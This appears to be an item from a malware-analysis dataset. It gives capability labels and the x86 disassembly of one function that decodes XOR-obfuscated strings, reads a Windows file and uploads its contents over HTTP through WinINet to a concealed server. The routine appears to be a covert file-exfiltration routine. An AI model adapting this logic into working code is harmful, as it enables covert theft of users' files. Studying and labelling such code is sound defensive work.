Function at 0x458520
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Encode data using xor
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], 0x57525d3b
push edi
mov cl, 0x3b
mov word [ebp - 8], 0x5e
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 4
jae 0x45854e
mov cl, byte [ebp - 0xc]
jmp 0x45853f
lea eax, [ebp - 0xb]
mov byte [ebp - 7], bl
push eax
lea ecx, [ebp - 0xf4]
call fcn.00403ae8
push 0x494070
lea ecx, [ebp - 0xc4]
call fcn.00403ae8
mov cl, 0x10
mov dword [ebp - 0x10], 0x726210
mov eax, ebx
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 2
jae 0x45858a
mov cl, byte [ebp - 0x10]
jmp 0x45857b
mov ecx, 0x4a3b20
mov byte [ebp - 0xd], bl
call fcn.004039e7
lea ecx, [ebp - 0xf]
push ecx
push eax
call fcn.0046f635
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4589c7
push 2
push ebx
push esi
call fcn.0046fc9a
push esi
call fcn.0046f57d
mov edi, eax
push edi
call fcn.004673db
push ebx
push ebx
push esi
mov dword [ebp - 0xc], eax
call fcn.0046fc9a
push esi
push edi
push 1
push dword [ebp - 0xc]
call fcn.004717d5
push esi
call fcn.0046f96d
add esp, 0x34
mov esi, ebx
test edi, edi
jle 0x458604
mov ebx, dword [ebp - 0xc]
movzx eax, byte [esi + ebx]
lea ecx, [ebp - 0xc4]
push eax
call fcn.00403bd1
inc esi
cmp esi, edi
jl 0x4585ed
xor ebx, ebx
push dword [ebp - 0xc]
call fcn.004673d6
movaps xmm0, xmmword [0x49dba0]
movups xmmword [ebp - 0x62], xmm0
pop ecx
movaps xmm0, xmmword [0x49dc80]
mov ecx, ebx
movups xmmword [ebp - 0x52], xmm0
mov word [ebp - 0x22], 0x3c22
movaps xmm0, xmmword [0x49d9a0]
movups xmmword [ebp - 0x42], xmm0
mov byte [ebp - 0x20], bl
movaps xmm0, xmmword [0x49d9b0]
movups xmmword [ebp - 0x32], xmm0
mov al, byte [ebp - 0x62]
xor byte [ebp + ecx - 0x61], al
inc ecx
cmp ecx, 0x41
jb 0x458644
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x61]
mov byte [ebp - 0x20], bl
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4589ef
mov ecx, 0x4a3af0
call fcn.004039e7
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push eax
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
je 0x4589e8
mov ecx, dword [ebp + 0xc]
call fcn.004039e7
mov dl, 0x40
mov dword [ebp - 0xc], 0x130f1040
mov word [ebp - 8], 0x14
mov ecx, ebx
xor byte [ebp + ecx - 0xb], dl
inc ecx
cmp ecx, 4
jae 0x4586b9
mov dl, byte [ebp - 0xc]
jmp 0x4586aa
push 1
push 0x4400100
push ebx
push ebx
push ebx
push eax
lea eax, [ebp - 0xb]
mov byte [ebp - 7], bl
push eax
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4589e1
movaps xmm0, xmmword [str.__t_t_t_t_t_t_t_t_t_t_t_t_t_t_tl0]
mov ecx, ebx
movups xmmword [ebp - 0x90], xmm0
mov word [ebp - 0x70], 0x2e
movaps xmm0, xmmword [0x49d8e0]
movups xmmword [ebp - 0x80], xmm0
mov al, byte [ebp - 0x90]
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x20
jb 0x4586fe
lea eax, [ebp - 0x8f]
mov byte [ebp - 0x6f], bl
push eax
lea ecx, [ebp - 0xac]
call fcn.00403ae8
mov cl, 0x39
mov dword [ebp - 0x1f], 0x19021b39
mov dword [ebp - 0x1b], 0x5c55505f
mov eax, ebx
mov dword [ebp - 0x17], 0x5c545857
mov word [ebp - 0x13], 0x1b04
mov byte [ebp - 0x11], bl
xor byte [ebp + eax - 0x1e], cl
inc eax
cmp eax, 0xd
jae 0x458757
mov cl, byte [ebp - 0x1f]
jmp 0x458748
movaps xmm0, xmmword [0x49d750]
mov ecx, ebx
movups xmmword [ebp - 0x47], xmm0
mov byte [ebp - 0x11], bl
movaps xmm0, xmmword [0x49db20]
movups xmmword [ebp - 0x37], xmm0
mov dword [ebp - 0x27], 0xe020d43
mov dword [ebp - 0x23], 0x415e06
mov al, byte [ebp - 0x47]
xor byte [ebp + ecx - 0x46], al
inc ecx
cmp ecx, 0x26
jb 0x458780
lea eax, [ebp - 0xf4]
mov byte [ebp - 0x20], bl
push eax
lea edx, [ebp - 0x46]
lea ecx, [ebp - 0x88]
call fcn.00462a8c
pop ecx
lea ecx, [ebp - 0x1e]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4587ae
sub ecx, esi
lea eax, [ebp - 0x1e]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x124]
call fcn.00403ab7
push dword [ebp + 0x18]
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x13c]
call fcn.00403e03
pop ecx
push 3
push 0x49d2d8
mov ecx, eax
call fcn.00403c55
push eax
lea ecx, [ebp - 0x10c]
call fcn.00403ab7
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0xac]
call fcn.00403a4b
lea ecx, [ebp - 0x10c]
call fcn.00403b2e
lea ecx, [ebp - 0x13c]
call fcn.00403b2e
lea ecx, [ebp - 0x124]
call fcn.00403b2e
lea ecx, [ebp - 0x88]
call fcn.00403b2e
movaps xmm0, xmmword [0x49d990]
mov ecx, ebx
movups xmmword [ebp - 0x4b], xmm0
mov dword [ebp - 0x2b], 0x2f292e70
movaps xmm0, xmmword [0x49d8f0]
movups xmmword [ebp - 0x3b], xmm0
mov dword [ebp - 0x27], 0x50303c38
mov dword [ebp - 0x23], 0x575057
mov al, byte [ebp - 0x4b]
xor byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 0x2a
jb 0x458869
lea ecx, [ebp - 0x4a]
mov byte [ebp - 0x20], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45887f
sub ecx, edx
lea eax, [ebp - 0x4a]
push ecx
push eax
lea ecx, [ebp - 0xac]
call fcn.00403c55
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0xac]
call fcn.00403a2e
movaps xmm0, xmmword [0x49daf0]
mov ecx, ebx
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x74], 0x7454544e
movaps xmm0, xmmword [0x49dae0]
movups xmmword [ebp - 0x84], xmm0
mov word [ebp - 0x70], 0x73
mov al, byte [ebp - 0x94]
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x24
jb 0x4588d5
lea ecx, [ebp - 0x93]
mov byte [ebp - 0x6f], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4588f4
sub ecx, edx
lea eax, [ebp - 0x93]
push ecx
push eax
lea ecx, [ebp - 0xac]
call fcn.00403c55
movaps xmm0, xmmword [0x49d850]
mov ecx, ebx
movups xmmword [ebp - 0x69], xmm0
mov dword [ebp - 0x29], 0x5c5c5c5c
movaps xmm0, xmmword [0x49d7c0]
movups xmmword [ebp - 0x59], xmm0
mov dword [ebp - 0x25], 0x5c5c5c5c
movaps xmm0, xmmword [0x49db30]
movups xmmword [ebp - 0x49], xmm0
mov word [ebp - 0x21], 0x46
movaps xmm0, xmmword [0x49db40]
movups xmmword [ebp - 0x39], xmm0
mov al, byte [ebp - 0x69]
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0x48
jb 0x458952
lea eax, [ebp - 0x68]
mov byte [ebp - 0x20], bl
push eax
lea ecx, [ebp - 0xdc]
call fcn.00403ae8
mov ebx, dword [ebp - 0x9c]
lea ecx, [ebp - 0xac]
call fcn.004039e7
mov edi, dword [ebp - 0xcc]
lea ecx, [ebp - 0xdc]
mov esi, eax
call fcn.004039e7
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push eax
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push edi
mov esi, eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test esi, esi
lea ecx, [ebp - 0xdc]
setne bl
call fcn.00403b2e
lea ecx, [ebp - 0xac]
call fcn.00403b2e
lea ecx, [ebp - 0xc4]
call fcn.00403b2e
lea ecx, [ebp - 0xf4]
call fcn.00403b2e
mov al, bl
jmp 0x458a05
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0xc4]
call fcn.00403b2e
lea ecx, [ebp - 0xf4]
call fcn.00403b2e
pop edi
pop esi
pop ebx
leave
ret 0x14